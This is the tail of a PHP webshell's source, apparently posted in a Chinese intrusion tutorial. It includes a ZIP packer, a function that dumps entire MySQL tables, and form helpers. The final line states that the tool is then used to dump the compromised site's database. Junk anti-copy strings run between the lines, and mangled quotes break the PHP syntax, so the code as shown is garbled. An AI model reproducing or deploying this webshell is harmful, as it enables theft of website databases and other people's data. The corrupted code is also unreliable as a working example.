      
1777.                 $ctrldir = implode('', $this -> ctrl_dir);
      5 f. {3 q  p) j, Y/ u$ W8 D2 F  Z7 P/ P
1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
      
1779.         }
      
1780. }
      
1781. // 备份数据库
      
1782. function sqldumptable($table, $fp=0) {
      4 n' R6 I0 P+ V+ o, N- l: b
1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
      7 @# s+ H& s. V) N; j  `6 o- `5 G
1784.         $tabledump .= "CREATE TABLE $table (\n";
      7 u: E& v+ B8 T* Q, u: F
1785.         $firstfield=1;
      
1786.         $fields = q("SHOW FIELDS FROM $table");
      
1787.         while ($field = mysql_fetch_array($fields)) {
      
1788.                 if (!$firstfield) {
      # l2 _; X4 x- ^! g
1789.                         $tabledump .= ",\n";
      
1790.                 } else {
      
1791.                         $firstfield=0;
      ; p  B$ R1 A& Y1 @$ k8 {, P
1792.                 }
      
1793.                 $tabledump .= "   $field[Field] $field[Type]";
      3 P: a" d) G5 Q
1794.                 if (!empty($field["Default"])) {
      
1795.                         $tabledump .= " DEFAULT '$field[Default]'";
      
1796.                 }
      # Y+ h3 W" A& ?
1797.                 if ($field['Null'] != "YES") {
      
1798.                         $tabledump .= " NOT NULL";
      
1799.                 }
      
1800.                 if ($field['Extra'] != "") {
      ( q- j, ]& i: ^2 v
1801.                         $tabledump .= " $field[Extra]";
      ( E1 S1 `8 i8 U# \, H
1802.                 }
      
1803.         }
        ~8 Q7 q2 o- Z. A9 i6 Y
1804.         fr($fields);
      
1805.         $keys = q("SHOW KEYS FROM $table");
      ( c3 ~4 c8 f! F' b; B' s" Y+ S0 D
1806.         while ($key = mysql_fetch_array($keys)) {
      
1807.                 $kname=$key['Key_name'];
      
1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
      
1809.                         $kname="UNIQUE|$kname";
      
1810.                 }
      - U7 g. D7 [1 c) ]
1811.                 if(!is_array($index[$kname])) {
      
1812.                         $index[$kname] = array();
      
1813.                 }
      
1814.                 $index[$kname][] = $key['Column_name'];
      
1815.         }
      9 O. d+ A; a! e' j9 s
1816.         fr($keys);
      ( W: L( m0 x# G5 C- `
1817.         while(list($kname, $columns) = @each($index)) {
      $ H& d8 J% }" s& B9 s& f7 R
1818.                 $tabledump .= ",\n";
      4 v( j+ D) l, x- q9 B9 e7 O
1819.                 $colnames=implode($columns,",");
      
1820.                 if ($kname == "PRIMARY") {
      - b3 ]) h' ~2 P' w, Y7 H
1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
      
1822.                 } else {
      
1823.                         if (substr($kname,0,6) == "UNIQUE") {
      - `/ p4 F7 L( u9 p" L5 `
1824.                                 $kname=substr($kname,7);
      
1825.                         }
      $ _* C' @1 S0 Y# l7 q3 Q
1826.                         $tabledump .= "   KEY $kname ($colnames)";
      9 [, C, s( D% L8 B* G1 M& W2 L+ J' C
1827.                 }
      
1828.         }
      
1829.         $tabledump .= "\n);\n\n";
      - R0 {" I4 [' u( Z
1830.         if ($fp) {
      ( _0 e/ e) ^# j6 [4 S. l
1831.                 fwrite($fp,$tabledump);
      
1832.         } else {
      ) e6 R+ Q0 o& w; L( A" O8 p# ?
1833.                 echo $tabledump;
      
1834.         }
      
1835.         $rows = q("SELECT * FROM $table");
      7 r& }) C( O- o4 N  r1 C$ G
1836.         $numfields = mysql_num_fields($rows);
      , {8 f; J, ^  z+ k: p
1837.         while ($row = mysql_fetch_array($rows)) {
      
1838.                 $tabledump = "INSERT INTO $table VALUES(";
      ' a# Q. O7 k/ d6 K
1839.                 $fieldcounter=-1;
      / y6 x' {' j( M5 Y! v+ ]5 R
1840.                 $firstfield=1;
      1 i7 Y: A8 \/ V
1841.                 while (++$fieldcounter<$numfields) {
      
1842.                         if (!$firstfield) {
      * A; x0 J& B7 |% [* c
1843.                                 $tabledump.=", ";
      : e4 D. p0 R( Z3 J  w
1844.                         } else {
      
1845.                                 $firstfield=0;
      1 F7 X$ X+ O* n# ^6 V7 U
1846.                         }
      
1847.                         if (!isset($row[$fieldcounter])) {
      
1848.                                 $tabledump .= "NULL";
      ( g- C6 p1 `6 u" a3 `  I5 [  w; [
1849.                         } else {
      0 l% o0 R: s/ M" J: }, v
1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
      
1851.                         }
      9 v& s- u- O8 ~" J- X
1852.                 }
      " e+ q  {* U$ E; i! L- b' l+ G
1853.                 $tabledump .= ");\n";
      
1854.                 if ($fp) {
      
1855.                         fwrite($fp,$tabledump);
      9 |% H3 M( ^! x& ^! e
1856.                 } else {
        e' s7 e* ]' F4 @! P
1857.                         echo $tabledump;
      ' t7 |! `! y4 p9 o. i- C
1858.                 }
      6 I7 }$ ^) E0 I/ u4 d. U: I0 e* w# n  S
1859.         }
      7 ]# D# Z5 D, q3 z( }, }# _& B
1860.         fr($rows);
      + K2 c5 P2 K( P8 z$ R% r
1861.         if ($fp) {
      , j0 b% G7 y2 J" u
1862.                 fwrite($fp,"\n");
      
1863.         } else {
      
1864.                 echo "\n";
      7 I; \, b) m* X
1865.         }
      * w& X, z$ y. [) M* C3 e+ Z. ?
1866. }
      % a. t; Y' G+ f+ G' T, _
1867. function ue($str){
      2 F, E! f0 \& P& N3 G
1868.         return urlencode($str);
      5 m& Q( O) O* `3 c% v
1869. }
      
1870. function p($str){
      
1871.         echo $str."\n";
      
1872. }
      
1873. function tbhead() {
      , K' R, g6 U& _) Z- n) c9 W
1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
      
1875. }
      3 z3 U3 A. ]1 g$ a/ E
1876. function tbfoot(){
      ! I' y: ]+ i1 u4 |- e# Z1 L" t
1877.         p('</table>');
      ! U6 s5 s3 N; Q3 e. o0 m6 C5 o) n
1878. }
      ( q( N- ?% ?2 a" O! R
1879. function makehide($name,$value=''){
      8 F3 f8 f+ }+ R( j& }- J
1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
      6 S) _3 |- R2 j
1881. }
      # }+ }1 ?  X  `" Y7 Y: \% o
1882. function makeinput($arg = array()){
      5 d2 A% _3 g  E
1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
      6 ]& a& p, r. \( Y4 x
1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
      
1885.         !$arg['type'] && $arg['type'] = 'text';
      
1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      
1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
      - I9 u6 y2 g+ T9 {1 A* w% H) z
1888.         if ($arg['newline']) {
      
1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
      
1890.         } else {
      
1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
      " r( X$ @0 H/ }+ a6 C) V
1892.         }
      ( \- M7 b( l' V% o: ^% Z$ K$ S
1893. }
      
1894. function makeselect($arg = array()){
      
1895.         if ($arg['onchange']) {
      
1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
      
1897.         }
      
1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
      + Q/ r! k9 x7 s! i+ k9 z
1899.         if ($arg['newline']) p('<p>');
      
1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
      
1901.                 if (is_array($arg['option'])) {
      
1902.                         foreach ($arg['option'] as $key=>$value) {
      7 Q, t# }9 R, [, d2 e" L
1903.                                 if ($arg['selected']==$key) {
      
1904.                                         p("<option value="$key" selected>$value</option>");
      + i! L6 E/ C4 b0 o
1905.                                 } else {
      
1906.                                         p("<option value="$key">$value</option>");
      
1907.                                 }
      9 ~9 u! M' d5 Z, }" U0 A+ K
1908.                         }
      
1909.                 }
      2 O1 L/ r! A9 Y3 ]
1910.         p("</select>");
      - d; p0 j% l/ m* Z4 `' f! F5 G
1911.         if ($arg['newline']) p('</p>');
      / b  m* h7 R4 ?2 m. L6 \
1912. }
      2 ?7 x* }4 ~+ T( {/ {7 b) W. B3 V
1913. function formhead($arg = array()) {
      - a% J+ Z" X) a3 d: Q- h  _
1914.         !$arg['method'] && $arg['method'] = 'post';
      2 {8 s3 z3 F4 I1 K
1915.         !$arg['action'] && $arg['action'] = $self;
      
1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
      3 [2 N* `/ e7 j& h7 |
1917.         !$arg['name'] && $arg['name'] = 'form1';
        q7 O: e/ n' }
1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
      
1919.         if ($arg['title']) {
      
1920.                 p('<h2>'.$arg['title'].' »</h2>');
      8 T6 S- O0 }9 Q# K9 Z' P9 j
1921.         }
      
1922. }
      ( e; v; t0 Y& J+ t
1923.        
      : [" Q1 q( P9 m9 I+ d  j( t
1924. function maketext($arg = array()){
      
1925.         !$arg['cols'] && $arg['cols'] = 100;
      
1926.         !$arg['rows'] && $arg['rows'] = 25;
      1 x$ X: r6 n) ~. O+ x8 y$ w. C
1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      # q$ I8 ^+ ^6 f- o2 K
1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
      
1929. }
      ' b' W8 V& @# K& D" l
1930. 
      ' X" H2 V3 o, {. Y
1931. function formfooter($name = ''){
      3 d0 U& M% O, \; e
1932.         !$name && $name = 'submit';
      ! p  e* D% Y: s% h5 h
1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
      
1934.         p('</form>');
      
1935. }
      
1936. 
      , n! P! ]$ P8 D1 V9 u7 o. l
1937. function formfoot(){
      
1938.         p('</form>');
      
1939. }
      ' i9 {+ b, w* q2 U
1940. 
      
1941. // 调试函数
      
1942. function pr($a) {
      . ]+ a8 p: Q& K8 o4 v' t
1943.         echo '<pre>';
      . ^) @; E7 m6 p1 z- I6 z7 G
1944.         print_r($a);
      3 b. Y: G- A& L, [4 Z: c; k
1945.         echo '</pre>';
      
1946. }
      
1947. 
      
1948. ?>

复制代码

11、最后通过大码对网站数据库进行脱库
' p" @# o* t3 \$ F# H: N5 X0 ^

) ^. I% R/ q7 N5 [' f